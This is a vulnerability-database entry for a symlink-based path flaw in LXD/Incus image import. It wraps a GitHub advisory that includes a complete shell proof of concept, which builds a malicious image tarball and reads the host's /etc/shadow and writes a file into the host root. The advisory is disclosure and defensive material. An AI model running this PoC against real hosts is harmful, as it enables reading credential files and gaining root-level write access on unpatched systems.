github.com/canonical/lxd: External Control of File Name or Path (ghsa:GHSA-vghh-5rfx-xhq8)
Published Sources: Hersteller
What is affected, what to do
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Metrics
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Priority
No value is available for this vulnerability.
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CVSS v3
No value is available for this vulnerability.
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EPSS score
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- Severity
- Critical
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 30.00 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-73
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Source: GitHub Security Advisories
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| go | github.com/canonical/lxd |
|
|
Vendors and products
Weakness classes (CWE)
CWE-73External Control of File Name or Path
Base
The product allows user input to control or influence paths or file names that are used in filesystem operations.
Entry at MITRE CWE-73